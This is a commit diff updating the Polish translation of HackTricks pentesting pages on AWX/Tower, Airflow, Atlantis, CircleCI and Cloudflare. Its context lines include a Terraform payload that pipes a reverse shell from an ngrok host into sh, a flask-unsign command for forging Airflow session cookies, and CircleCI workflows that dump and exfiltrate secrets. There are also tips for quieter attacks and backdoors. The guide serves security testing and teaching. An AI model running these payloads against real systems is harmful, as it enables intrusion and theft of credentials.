mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['src/banners/hacktricks-training.md', 'src/pentesting-ci-cd/
This commit is contained in:
@@ -14,7 +14,7 @@ Zgodnie z [**tym**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-
|
||||
|
||||
### Stos technologiczny
|
||||
|
||||
- **Interfejs webowy**: To graficzny interfejs, w którym użytkownicy mogą zarządzać inwentarzami, poświadczeniami, szablonami i zadaniami. Został zaprojektowany tak, aby był intuicyjny i dostarczał wizualizacji, które pomagają w zrozumieniu stanu i wyników twoich zadań automatyzacji.
|
||||
- **Interfejs webowy**: To graficzny interfejs, w którym użytkownicy mogą zarządzać inwentarzami, poświadczeniami, szablonami i zadaniami. Został zaprojektowany tak, aby był intuicyjny i zapewniał wizualizacje pomagające w zrozumieniu stanu i wyników zadań automatyzacji.
|
||||
- **REST API**: Wszystko, co możesz zrobić w interfejsie webowym, możesz również zrobić za pomocą REST API. Oznacza to, że możesz zintegrować AWX/Tower z innymi systemami lub skryptować działania, które zazwyczaj wykonujesz w interfejsie.
|
||||
- **Baza danych**: AWX/Tower używa bazy danych (zwykle PostgreSQL) do przechowywania swojej konfiguracji, wyników zadań i innych niezbędnych danych operacyjnych.
|
||||
- **RabbitMQ**: To system komunikacji używany przez AWX/Tower do komunikacji między różnymi komponentami, szczególnie między usługą webową a wykonawcami zadań.
|
||||
@@ -40,17 +40,17 @@ Zgodnie z [**tym**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-
|
||||
- Po inicjacji zadania, żądanie jest wysyłane do zaplecza AWX/Tower, aby umieścić zadanie w kolejce do wykonania.
|
||||
3. **Kolejkowanie zadań**:
|
||||
- **RabbitMQ** obsługuje komunikację między komponentem webowym a wykonawcami zadań. Gdy zadanie jest inicjowane, wiadomość jest wysyłana do silnika zadań za pomocą RabbitMQ.
|
||||
- **Redis** działa jako zaplecze dla kolejki zadań, zarządzając zadaniami w kolejce oczekującymi na wykonanie.
|
||||
- **Redis** działa jako zaplecze dla kolejki zadań, zarządzając zadaniami oczekującymi na wykonanie.
|
||||
4. **Wykonanie zadania**:
|
||||
- **Silnik Zadań** odbiera zadanie z kolejki. Pobiera niezbędne informacje z **Bazy Danych** dotyczące powiązanego playbooka, inwentarza i poświadczeń.
|
||||
- Używając pobranego playbooka Ansible z powiązanego **Projektu**, Silnik Zadań uruchamia playbook na określonych węzłach **Inwentarza** przy użyciu podanych **Poświadczeń**.
|
||||
- W miarę uruchamiania playbooka, jego wyniki wykonania (logi, fakty itp.) są rejestrowane i przechowywane w **Bazie Danych**.
|
||||
5. **Wyniki zadania**:
|
||||
- Gdy playbook zakończy działanie, wyniki (sukces, niepowodzenie, logi) są zapisywane w **Bazie Danych**.
|
||||
- Użytkownicy mogą następnie przeglądać wyniki za pośrednictwem Interfejsu Webowego lub zapytać je za pomocą REST API.
|
||||
5. **Wyniki zadań**:
|
||||
- Po zakończeniu uruchamiania playbooka, wyniki (sukces, niepowodzenie, logi) są zapisywane w **Bazie Danych**.
|
||||
- Użytkownicy mogą następnie przeglądać wyniki za pośrednictwem Interfejsu Webowego lub zapytywać je za pomocą REST API.
|
||||
- W zależności od wyników zadań, **Powiadomienia** mogą być wysyłane, aby informować użytkowników lub zewnętrzne systemy o statusie zadania. Powiadomienia mogą być e-mailami, wiadomościami Slack, webhookami itp.
|
||||
6. **Integracja z systemami zewnętrznymi**:
|
||||
- **Inwentarze** mogą być dynamicznie pozyskiwane z systemów zewnętrznych, co pozwala AWX/Tower na pobieranie hostów z takich źródeł jak AWS, Azure, VMware i innych.
|
||||
- **Inwentarze** mogą być dynamicznie pozyskiwane z systemów zewnętrznych, co pozwala AWX/Tower na pobieranie hostów z takich źródeł jak AWS, Azure, VMware i inne.
|
||||
- **Projekty** (playbooki) mogą być pobierane z systemów kontroli wersji, zapewniając użycie aktualnych playbooków podczas wykonywania zadań.
|
||||
- **Harmonogramy i wywołania zwrotne** mogą być używane do integracji z innymi systemami lub narzędziami, co sprawia, że AWX/Tower reaguje na zewnętrzne wyzwalacze lub uruchamia zadania w ustalonych czasach.
|
||||
|
||||
@@ -88,7 +88,7 @@ docker exec tools_awx_1 awx-manage create_preload_data
|
||||
|
||||
Najbardziej uprzywilejowaną rolą jest **Administrator Systemu**. Każdy z tą rolą może **modyfikować wszystko**.
|
||||
|
||||
Z perspektywy **przeglądu bezpieczeństwa typu white box**, potrzebujesz roli **Audytora Systemu**, która pozwala na **przeglądanie wszystkich danych systemowych**, ale nie może wprowadzać żadnych zmian. Inną opcją byłoby uzyskanie roli **Audytora Organizacji**, ale lepiej jest uzyskać tę pierwszą.
|
||||
Z perspektywy **przeglądu bezpieczeństwa białej skrzynki**, potrzebujesz roli **Audytora Systemu**, która pozwala na **przeglądanie wszystkich danych systemowych**, ale nie może wprowadzać żadnych zmian. Inną opcją byłoby uzyskanie roli **Audytora Organizacji**, ale lepiej byłoby uzyskać tę drugą.
|
||||
|
||||
<details>
|
||||
|
||||
|
||||
@@ -57,12 +57,12 @@ Jeśli masz **dostęp do konsoli webowej**, możesz uzyskać dostęp do niektór
|
||||
|
||||
#### Pobieranie wartości zmiennych
|
||||
|
||||
Zmienne mogą być przechowywane w Airflow, aby **DAGi** mogły **uzyskiwać** ich wartości. Jest to podobne do sekretów innych platform. Jeśli masz **wystarczające uprawnienia**, możesz uzyskać do nich dostęp w GUI w `http://<airflow>/variable/list/`.\
|
||||
Zmienne mogą być przechowywane w Airflow, aby **DAG** mogły **uzyskiwać** ich wartości. Jest to podobne do sekretów innych platform. Jeśli masz **wystarczające uprawnienia**, możesz uzyskać do nich dostęp w GUI w `http://<airflow>/variable/list/`.\
|
||||
Airflow domyślnie pokaże wartość zmiennej w GUI, jednak zgodnie z [**tym**](https://marclamberti.com/blog/variables-with-apache-airflow/) możliwe jest ustawienie **listy zmiennych**, których **wartość** będzie wyświetlana jako **gwiazdki** w **GUI**.
|
||||
|
||||
.png>)
|
||||
|
||||
Jednak te **wartości** mogą być nadal **pobierane** za pomocą **CLI** (musisz mieć dostęp do bazy danych), **wykonywania dowolnego DAG**, **API** uzyskującego dostęp do punktu końcowego zmiennych (API musi być aktywowane) i **nawet samego GUI!**\
|
||||
Jednak te **wartości** mogą być nadal **pobrane** za pomocą **CLI** (musisz mieć dostęp do bazy danych), **wykonywania dowolnego DAG**, **API** uzyskującego dostęp do punktu końcowego zmiennych (API musi być aktywowane) i **nawet samego GUI!**\
|
||||
Aby uzyskać dostęp do tych wartości z GUI, po prostu **wybierz zmienne**, do których chcesz uzyskać dostęp i **kliknij na Akcje -> Eksportuj**.\
|
||||
Innym sposobem jest przeprowadzenie **bruteforce** na **ukrytej wartości** za pomocą **filtrowania wyszukiwania**, aż ją uzyskasz:
|
||||
|
||||
@@ -70,7 +70,7 @@ Innym sposobem jest przeprowadzenie **bruteforce** na **ukrytej wartości** za p
|
||||
|
||||
#### Eskalacja uprawnień
|
||||
|
||||
Jeśli konfiguracja **`expose_config`** jest ustawiona na **True**, z **rolą Użytkownika** i **wyżej** można **czytać** **konfigurację w sieci**. W tej konfiguracji pojawia się **`secret_key`**, co oznacza, że każdy użytkownik z tym ważnym kluczem może **utworzyć własny podpisany cookie, aby podszyć się pod inne konto użytkownika**.
|
||||
Jeśli konfiguracja **`expose_config`** jest ustawiona na **True**, z **rolą Użytkownik** i **wyżej** mogą **czytać** **konfigurację w sieci**. W tej konfiguracji pojawia się **`secret_key`**, co oznacza, że każdy użytkownik z tym ważnym kluczem może **utworzyć własny podpisany cookie, aby podszyć się pod inne konto użytkownika**.
|
||||
```bash
|
||||
flask-unsign --sign --secret '<secret_key>' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}"
|
||||
```
|
||||
|
||||
@@ -10,7 +10,7 @@
|
||||
|
||||
Zauważ, że **wartości w pliku konfiguracyjnym** **mogą nie być tymi używanymi**, ponieważ możesz je nadpisać, ustawiając zmienne środowiskowe, takie jak `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'`.
|
||||
|
||||
Jeśli masz dostęp do **pliku konfiguracyjnego na serwerze internetowym**, możesz sprawdzić **rzeczywistą konfigurację uruchomioną** na tej samej stronie, na której wyświetlany jest plik konfiguracyjny.\
|
||||
Jeśli masz dostęp do **pliku konfiguracyjnego na serwerze webowym**, możesz sprawdzić **rzeczywistą konfigurację uruchomioną** na tej samej stronie, na której wyświetlany jest plik konfiguracyjny.\
|
||||
Jeśli masz **dostęp do jakiejś maszyny w środowisku airflow**, sprawdź **środowisko**.
|
||||
|
||||
Niektóre interesujące wartości do sprawdzenia podczas przeglądania pliku konfiguracyjnego:
|
||||
|
||||
@@ -41,12 +41,12 @@ Zauważ, że chyba że używasz prywatnego serwera github lub bitbucket, będzie
|
||||
|
||||
[Z dokumentacji:](https://www.runatlantis.io/docs/provider-credentials.html)
|
||||
|
||||
Atlantis uruchamia Terraform, po prostu **wykonując polecenia `terraform plan` i `apply`** na serwerze, na którym **Atlantis jest hostowany**. Tak jak gdy uruchamiasz Terraform lokalnie, Atlantis potrzebuje poświadczeń dla twojego konkretnego dostawcy.
|
||||
Atlantis uruchamia Terraform, po prostu **wykonując polecenia `terraform plan` i `apply`** na serwerze, na którym **Atlantis jest hostowany**. Tak jak w przypadku uruchamiania Terraform lokalnie, Atlantis potrzebuje poświadczeń dla twojego konkretnego dostawcy.
|
||||
|
||||
To od ciebie zależy, jak [przekazujesz poświadczenia](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) dla swojego konkretnego dostawcy do Atlantis:
|
||||
|
||||
- Atlantis [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) i [AWS Fargate Module](https://www.runatlantis.io/docs/deployment.html#aws-fargate) mają swoje własne mechanizmy dla poświadczeń dostawcy. Przeczytaj ich dokumentację.
|
||||
- Jeśli uruchamiasz Atlantis w chmurze, wiele chmur ma sposoby na przyznanie dostępu do API chmury aplikacjom, które na nich działają, np.:
|
||||
- Jeśli uruchamiasz Atlantis w chmurze, wiele chmur ma sposoby na przyznanie dostępu do API chmury aplikacjom działającym na nich, np.:
|
||||
- [AWS EC2 Roles](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Szukaj "EC2 Role")
|
||||
- [GCE Instance Service Accounts](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference)
|
||||
- Wiele użytkowników ustawia zmienne środowiskowe, np. `AWS_ACCESS_KEY`, gdzie działa Atlantis.
|
||||
@@ -80,11 +80,11 @@ Wartości są **wybierane w tej kolejności**:
|
||||
|
||||
#### Konfiguracja repozytoriów
|
||||
|
||||
Niektóre konfiguracje wpływają na **to, jak zarządzane są repozytoria**. Jednak możliwe jest, że **każde repozytorium wymaga różnych ustawień**, więc istnieją sposoby na określenie każdego repozytorium. Oto kolejność priorytetów:
|
||||
Niektóre konfiguracje wpływają na **sposób zarządzania repozytoriami**. Jednak możliwe jest, że **każde repozytorium wymaga różnych ustawień**, więc istnieją sposoby na określenie każdego repozytorium. Oto kolejność priorytetów:
|
||||
|
||||
1. Repo [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config) plik. Ten plik może być użyty do określenia, jak atlantis powinien traktować repozytorium. Jednak domyślnie niektóre klucze nie mogą być tutaj określone bez flag pozwalających na to.
|
||||
2. Prawdopodobnie wymagane do zezwolenia przez flagi, takie jak `allowed_overrides` lub `allow_custom_workflows`.
|
||||
3. [**Konfiguracja po stronie serwera**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): Możesz przekazać to za pomocą flagi `--repo-config`, a jest to yaml konfiguracyjny nowych ustawień dla każdego repozytorium (wsparcie dla regexów).
|
||||
3. [**Konfiguracja po stronie serwera**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): Możesz przekazać to za pomocą flagi `--repo-config`, a to jest yaml konfiguracyjny nowych ustawień dla każdego repozytorium (obsługiwane regexy).
|
||||
4. **Domyślne** wartości.
|
||||
|
||||
**Ochrona PR**
|
||||
@@ -101,11 +101,11 @@ Nie ma żadnej opcji, aby **określić** te skrypty w **repo `/atlantis.yml`**.
|
||||
|
||||
**Workflow**
|
||||
|
||||
W konfiguracji repozytoriów (konfiguracja po stronie serwera) możesz [**określić nowy domyślny workflow**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow) lub [**utworzyć nowe niestandardowe workflow**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** Możesz również **określić**, które **repozytoria** mogą **uzyskać dostęp** do **nowych** generowanych.\
|
||||
W konfiguracji repozytoriów (konfiguracja po stronie serwera) możesz [**określić nowy domyślny workflow**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow) lub [**utworzyć nowe niestandardowe workflow**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** Możesz również **określić**, które **repozytoria** mogą **uzyskać dostęp** do **nowych** wygenerowanych.\
|
||||
Następnie możesz pozwolić plikowi **atlantis.yaml** każdego repozytorium na **określenie workflow do użycia**.
|
||||
|
||||
> [!CAUTION]
|
||||
> Jeśli flaga [**konfiguracji po stronie serwera**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allow_custom_workflows` jest ustawiona na **True**, workflow mogą być **określane** w **pliku `atlantis.yaml`** każdego repozytorium. Potencjalnie również potrzebne jest, aby **`allowed_overrides`** określało również **`workflow`**, aby **nadpisać workflow**, który ma być użyty.\
|
||||
> Jeśli flaga [**konfiguracji po stronie serwera**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allow_custom_workflows` jest ustawiona na **True**, workflow mogą być **określane** w **pliku `atlantis.yaml`** każdego repozytorium. Potencjalnie również potrzebne jest, aby **`allowed_overrides`** określało również **`workflow`**, aby **nadpisać workflow**, który będzie używany.\
|
||||
> To zasadniczo da **RCE w serwerze Atlantis każdemu użytkownikowi, który może uzyskać dostęp do tego repozytorium**.
|
||||
>
|
||||
> ```yaml
|
||||
@@ -128,10 +128,10 @@ Następnie możesz pozwolić plikowi **atlantis.yaml** każdego repozytorium na
|
||||
|
||||
Atlantis obsługuje uruchamianie **polityk conftest** [**po stronie serwera**](https://www.conftest.dev/) przeciwko wyjściu planu. Typowe przypadki użycia dla tego kroku obejmują:
|
||||
|
||||
- Odrzucenie użycia listy modułów.
|
||||
- Asercje atrybutów zasobu w czasie tworzenia.
|
||||
- Wykrywanie niezamierzonych usunięć zasobów.
|
||||
- Zapobieganie ryzyku bezpieczeństwa (np. wystawianie bezpiecznych portów publicznie).
|
||||
- Odrzucenie użycia listy modułów
|
||||
- Asercje atrybutów zasobu w czasie tworzenia
|
||||
- Wykrywanie niezamierzonych usunięć zasobów
|
||||
- Zapobieganie ryzyku bezpieczeństwa (np. wystawianie bezpiecznych portów publicznie)
|
||||
|
||||
Możesz sprawdzić, jak to skonfigurować w [**dokumentacji**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works).
|
||||
|
||||
@@ -172,9 +172,9 @@ atlantis plan -- -lock=false
|
||||
```
|
||||
#### Atlantis plan RCE - Modyfikacja konfiguracji w nowym PR
|
||||
|
||||
Jeśli masz dostęp do zapisu w repozytorium, będziesz mógł stworzyć nową gałąź i wygenerować PR. Jeśli możesz **wykonać `atlantis plan`** (lub może jest to wykonywane automatycznie) **będziesz mógł RCE wewnątrz serwera Atlantis**.
|
||||
Jeśli masz dostęp do zapisu w repozytorium, będziesz mógł stworzyć nową gałąź i wygenerować PR. Jeśli możesz **wykonać `atlantis plan`** (lub może jest to wykonywane automatycznie) **będziesz mógł uzyskać RCE wewnątrz serwera Atlantis**.
|
||||
|
||||
Możesz to zrobić, sprawiając, że [**Atlantis załaduje zewnętrzne źródło danych**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source). Po prostu umieść ładunek, taki jak poniżej, w pliku `main.tf`:
|
||||
Możesz to zrobić, sprawiając, że [**Atlantis załaduje zewnętrzne źródło danych**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source). Po prostu umieść ładunek, taki jak poniższy, w pliku `main.tf`:
|
||||
```json
|
||||
data "external" "example" {
|
||||
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
|
||||
@@ -182,7 +182,7 @@ program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"
|
||||
```
|
||||
**Cichszy atak**
|
||||
|
||||
Możesz przeprowadzić ten atak nawet w **cichszy sposób**, stosując się do tych sugestii:
|
||||
Możesz przeprowadzić ten atak w **cichszy sposób**, stosując się do tych sugestii:
|
||||
|
||||
- Zamiast dodawać rev shell bezpośrednio do pliku terraform, możesz **załadować zewnętrzny zasób**, który zawiera rev shell:
|
||||
```javascript
|
||||
@@ -205,7 +205,7 @@ value = nonsensitive(var.do_token)
|
||||
```
|
||||
#### Atlantis apply RCE - Modyfikacja konfiguracji w nowym PR
|
||||
|
||||
Jeśli masz dostęp do zapisu w repozytorium, będziesz mógł utworzyć nową gałąź i wygenerować PR. Jeśli możesz **wykonać `atlantis apply`, będziesz mógł uzyskać RCE wewnątrz serwera Atlantis**.
|
||||
Jeśli masz dostęp do zapisu w repozytorium, będziesz mógł stworzyć nową gałąź i wygenerować PR. Jeśli możesz **wykonać `atlantis apply`, będziesz mógł uzyskać RCE wewnątrz serwera Atlantis**.
|
||||
|
||||
Jednak zazwyczaj będziesz musiał obejść pewne zabezpieczenia:
|
||||
|
||||
@@ -251,9 +251,9 @@ Uruchamianie **złośliwych niestandardowych poleceń budowania** określonych w
|
||||
Ta możliwość została wspomniana w poprzedniej sekcji:
|
||||
|
||||
> [!CAUTION]
|
||||
> Jeśli flaga [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allow_custom_workflows` jest ustawiona na **True**, workflow mogą być **określone** w **`atlantis.yaml`** każdego repo. Potencjalnie potrzebne jest również, aby **`allowed_overrides`** określało także **`workflow`**, aby **nadpisać workflow**, który ma być użyty.
|
||||
> Jeśli flaga [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allow_custom_workflows` jest ustawiona na **True**, workflow mogą być **określone** w **pliku `atlantis.yaml`** każdego repo. Potencjalnie konieczne jest również, aby **`allowed_overrides`** określało również **`workflow`**, aby **nadpisać workflow**, który ma być użyty.
|
||||
>
|
||||
> To zasadniczo da **RCE na serwerze Atlantis każdemu użytkownikowi, który ma dostęp do tego repo**.
|
||||
> To zasadniczo da **RCE na serwerze Atlantis dla każdego użytkownika, który ma dostęp do tego repo**.
|
||||
>
|
||||
> ```yaml
|
||||
> # atlantis.yaml
|
||||
@@ -282,9 +282,9 @@ apply_requirements: []
|
||||
```
|
||||
#### PR Hijacking
|
||||
|
||||
Jeśli ktoś wyśle **`atlantis plan/apply` komentarze do twoich ważnych pull requestów,** spowoduje to uruchomienie terraform, gdy nie chcesz.
|
||||
Jeśli ktoś wyśle **`atlantis plan/apply` komentarze do twoich ważnych pull requestów,** spowoduje to uruchomienie terraform, gdy nie chcesz, aby to się stało.
|
||||
|
||||
Co więcej, jeśli nie masz skonfigurowanej **ochrony gałęzi** do ponownej **oceny** każdego PR, gdy **nowe zatwierdzenie jest do niego przesyłane**, ktoś mógłby **napisać złośliwe konfiguracje** (sprawdź wcześniejsze scenariusze) w konfiguracji terraform, uruchomić `atlantis plan/apply` i uzyskać RCE.
|
||||
Co więcej, jeśli nie masz skonfigurowanej **ochrony gałęzi** do ponownej **oceny** każdego PR, gdy **nowe zatwierdzenie jest do niego przesyłane**, ktoś mógłby **napisać złośliwe konfiguracje** (sprawdź poprzednie scenariusze) w konfiguracji terraform, uruchomić `atlantis plan/apply` i uzyskać RCE.
|
||||
|
||||
To jest **ustawienie** w ochronach gałęzi Github:
|
||||
|
||||
@@ -292,7 +292,7 @@ To jest **ustawienie** w ochronach gałęzi Github:
|
||||
|
||||
#### Webhook Secret
|
||||
|
||||
Jeśli uda ci się **ukraść sekret webhooka** lub jeśli **nie ma żadnego sekretu webhooka** używanego, możesz **wywołać webhook Atlantis** i **wywołać komendy atlatis** bezpośrednio.
|
||||
Jeśli uda ci się **ukraść sekret webhooka** lub jeśli **żaden sekret webhooka** nie jest używany, możesz **wywołać webhook Atlantis** i **wywołać polecenia atlantis** bezpośrednio.
|
||||
|
||||
#### Bitbucket
|
||||
|
||||
@@ -342,13 +342,13 @@ Aby temu zapobiec, możesz:
|
||||
|
||||
1. Wbudować dostawców w obraz Atlantis lub hostować i zablokować egress w produkcji.
|
||||
2. Wdrożyć wewnętrznie protokół rejestru dostawców i zablokować publiczny egress, w ten sposób kontrolujesz, kto ma dostęp do zapisu w rejestrze.
|
||||
3. Zmodyfikować swój [konfigurację repozytoriów po stronie serwera](https://www.runatlantis.io/docs/server-side-repo-config.html)'s krok `plan`, aby walidować użycie niedozwolonych dostawców lub źródeł danych lub PR-ów od niedozwolonych użytkowników. Możesz również dodać dodatkową walidację w tym momencie, np. wymagając "thumbs-up" na PR przed pozwoleniem na kontynuację `plan`. Conftest może być przydatny w tej sytuacji.
|
||||
3. Zmodyfikować swój [konfigurację repozytoriów po stronie serwera](https://www.runatlantis.io/docs/server-side-repo-config.html)'s krok `plan`, aby walidować użycie niedozwolonych dostawców lub źródeł danych lub PR-ów od niedozwolonych użytkowników. Możesz również dodać dodatkową walidację w tym momencie, np. wymagając "thumbs-up" na PR przed pozwoleniem na kontynuację `plan`. Conftest może być tutaj przydatny.
|
||||
|
||||
#### Webhook Secrets <a href="#webhook-secrets" id="webhook-secrets"></a>
|
||||
|
||||
Atlantis powinien być uruchamiany z ustawionymi sekretami webhooka za pomocą zmiennych środowiskowych `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET`. Nawet z ustawioną flagą `--repo-allowlist`, bez sekretu webhooka, atakujący mogą wysyłać żądania do Atlantis, podszywając się pod repozytorium, które jest na liście dozwolonych. Sekrety webhooka zapewniają, że żądania webhooka faktycznie pochodzą od twojego dostawcy VCS (GitHub lub GitLab).
|
||||
|
||||
Jeśli używasz Azure DevOps, zamiast sekretów webhooka dodaj podstawowy login i hasło.
|
||||
Jeśli używasz Azure DevOps, zamiast sekretów webhooka dodaj podstawową nazwę użytkownika i hasło.
|
||||
|
||||
#### Azure DevOps Basic Authentication <a href="#azure-devops-basic-authentication" id="azure-devops-basic-authentication"></a>
|
||||
|
||||
|
||||
@@ -23,7 +23,7 @@ Każdy kontener uruchamiany przez CircleCI zawsze będzie miał [**specyficzne z
|
||||
|
||||
#### Tekst jawny
|
||||
|
||||
Możesz je zadeklarować w formie jawnej wewnątrz **komendy**:
|
||||
Możesz je zadeklarować w tekście jawnym wewnątrz **komendy**:
|
||||
```yaml
|
||||
- run:
|
||||
name: "set and echo"
|
||||
@@ -90,12 +90,12 @@ Sprawdzając kod, możesz znaleźć **wszystkie nazwy sekretów**, które są **
|
||||
#### Ekstrakcja sekretów projektu
|
||||
|
||||
> [!WARNING]
|
||||
> Aby **ekstrahować WSZYSTKIE** sekrety projektu i kontekstu, **wystarczy** mieć **dostęp DO ZAPISU** do **tylko 1 repo** w całej organizacji github (_a twoje konto musi mieć dostęp do kontekstów, ale domyślnie każdy może uzyskać dostęp do każdego kontekstu_).
|
||||
> Aby **ekstrahować WSZYSTKIE** sekrety projektu i kontekstu, **wystarczy** mieć **dostęp do ZAPISU** do **tylko 1 repo** w całej organizacji github (_a twoje konto musi mieć dostęp do kontekstów, ale domyślnie każdy może uzyskać dostęp do każdego kontekstu_).
|
||||
|
||||
> [!CAUTION]
|
||||
> Funkcjonalność "**Import Variables**" pozwala na **importowanie zmiennych z innych projektów** do tego. Dlatego atakujący mógłby **zaimportować wszystkie zmienne projektu ze wszystkich repo** i następnie **ekstrahować je wszystkie razem**.
|
||||
|
||||
Wszystkie sekrety projektu są zawsze ustawione w zmiennych środowiskowych zadań, więc wystarczy wywołać env i obfuscować go w base64, aby wyekstrahować sekrety w **konsoli logów internetowych workflow**:
|
||||
Wszystkie sekrety projektu są zawsze ustawione w zmiennych środowiskowych zadań, więc wystarczy wywołać env i obfuscować go w base64, aby ekstrahować sekrety w **konsoli logów internetowych workflow**:
|
||||
```yaml
|
||||
version: 2.1
|
||||
|
||||
@@ -114,7 +114,7 @@ exfil-env-workflow:
|
||||
jobs:
|
||||
- exfil-env
|
||||
```
|
||||
Jeśli **nie masz dostępu do konsoli internetowej**, ale masz **dostęp do repozytorium** i wiesz, że używany jest CircleCI, możesz po prostu **utworzyć workflow**, który jest **wyzwalany co minutę** i który **wykrada sekrety do zewnętrznego adresu**:
|
||||
Jeśli **nie masz dostępu do konsoli internetowej**, ale masz **dostęp do repozytorium** i wiesz, że używany jest CircleCI, możesz po prostu **utworzyć workflow**, który jest **wyzwalany co minutę** i **wykrada sekrety do zewnętrznego adresu**:
|
||||
```yaml
|
||||
version: 2.1
|
||||
|
||||
@@ -230,6 +230,6 @@ version: 19.03.13
|
||||
- Możliwe jest **tworzenie zadania cron w ukrytej gałęzi** w nieoczekiwanym projekcie, które **wycieka** wszystkie **zmienne środowiskowe kontekstu** codziennie.
|
||||
- Lub nawet stworzenie w gałęzi / modyfikacja znanego zadania, które będzie **wyciekać** wszystkie konteksty i **sekrety projektów** codziennie.
|
||||
- Jeśli jesteś właścicielem githuba, możesz **zezwolić na niezweryfikowane orbsy** i skonfigurować jeden w zadaniu jako **tylną furtkę**.
|
||||
- Możesz znaleźć **lukę w wstrzykiwaniu poleceń** w niektórych zadaniach i **wstrzyknąć polecenia** za pomocą **sekretu**, modyfikując jego wartość.
|
||||
- Możesz znaleźć **lukę w wstrzykiwaniu poleceń** w niektórych zadaniach i **wstrzykiwać polecenia** za pomocą **sekretu**, modyfikując jego wartość.
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -38,7 +38,7 @@ Na każdej stronie Cloudflare:
|
||||
- [ ] Sprawdź **vulnerable functions** w katalogu `/fuctions` (jeśli istnieje), sprawdź **przekierowania** w pliku `_redirects` (jeśli istnieje) oraz **błędnie skonfigurowane nagłówki** w pliku `_headers` (jeśli istnieje).
|
||||
- [ ] Sprawdź **vulnerabilities** w **stronie internetowej** za pomocą **blackbox** lub **whitebox**, jeśli możesz **uzyskać dostęp do kodu**.
|
||||
- [ ] W szczegółach każdej strony `/<page_id>/pages/view/blocklist/settings/functions`. Sprawdź **wrażliwe informacje** w **`Environment variables`**.
|
||||
- [ ] W szczegółach strony sprawdź również **komendę budowania** i **katalog główny** pod kątem **potencjalnych wstrzyknięć**, które mogą skompromitować stronę.
|
||||
- [ ] W szczegółach strony sprawdź również **komendę budowy** i **katalog główny** pod kątem **potencjalnych wstrzyknięć**, które mogą skompromitować stronę.
|
||||
|
||||
## **Workers**
|
||||
|
||||
@@ -121,8 +121,8 @@ cloudflare-zero-trust-network.md
|
||||
- [ ] Możliwe jest zobaczenie **ostatnich 4 cyfr karty kredytowej**, **daty ważności** i **adresu rozliczeniowego** w **`Billing` -> `Payment info`**.
|
||||
- [ ] Możliwe jest zobaczenie **rodzaju planu** używanego w koncie w **`Billing` -> `Subscriptions`**.
|
||||
- [ ] W **`Members`** można zobaczyć wszystkich członków konta i ich **rolę**. Zauważ, że jeśli rodzaj planu nie jest Enterprise, istnieją tylko 2 role: Administrator i Super Administrator. Ale jeśli używany **plan to Enterprise**, [**więcej ról**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) może być używanych w celu przestrzegania zasady najmniejszych uprawnień.
|
||||
- Dlatego, gdy to możliwe, **zaleca się** korzystanie z **planu Enterprise**.
|
||||
- [ ] W sekcji Członkowie można sprawdzić, którzy **członkowie** mają **włączoną 2FA**. **Każdy** użytkownik powinien mieć to włączone.
|
||||
- Dlatego, gdy tylko to możliwe, **zaleca się** korzystanie z **planu Enterprise**.
|
||||
- [ ] W członkach można sprawdzić, którzy **członkowie** mają **włączoną 2FA**. **Każdy** użytkownik powinien mieć to włączone.
|
||||
|
||||
> [!NOTE]
|
||||
> Zauważ, że na szczęście rola **`Administrator`** nie daje uprawnień do zarządzania członkostwem (**nie może podnieść uprawnień ani zapraszać** nowych członków).
|
||||
|
||||
@@ -20,7 +20,7 @@ W każdej TLD skonfigurowanej w Cloudflare istnieją **ogólne ustawienia i usł
|
||||
- [ ] Sprawdź **interesujące** (wrażliwe?) dane w rekordach DNS
|
||||
- [ ] Sprawdź **subdomeny**, które mogą zawierać **wrażliwe informacje** tylko na podstawie **nazwa** (jak admin173865324.domin.com)
|
||||
- [ ] Sprawdź strony internetowe, które **nie są** **proxy**
|
||||
- [ ] Sprawdź **proxyfikowane strony internetowe**, które można **uzyskać bezpośrednio** przez CNAME lub adres IP
|
||||
- [ ] Sprawdź **proxyowane strony internetowe**, które można **uzyskać bezpośrednio** przez CNAME lub adres IP
|
||||
- [ ] Sprawdź, czy **DNSSEC** jest **włączony**
|
||||
- [ ] Sprawdź, czy **CNAME Flattening** jest **używane** we **wszystkich CNAME**
|
||||
- Może to być przydatne do **ukrycia podatności na przejęcie subdomen** i poprawy czasów ładowania
|
||||
@@ -38,7 +38,7 @@ TODO
|
||||
|
||||
#### **Przegląd**
|
||||
|
||||
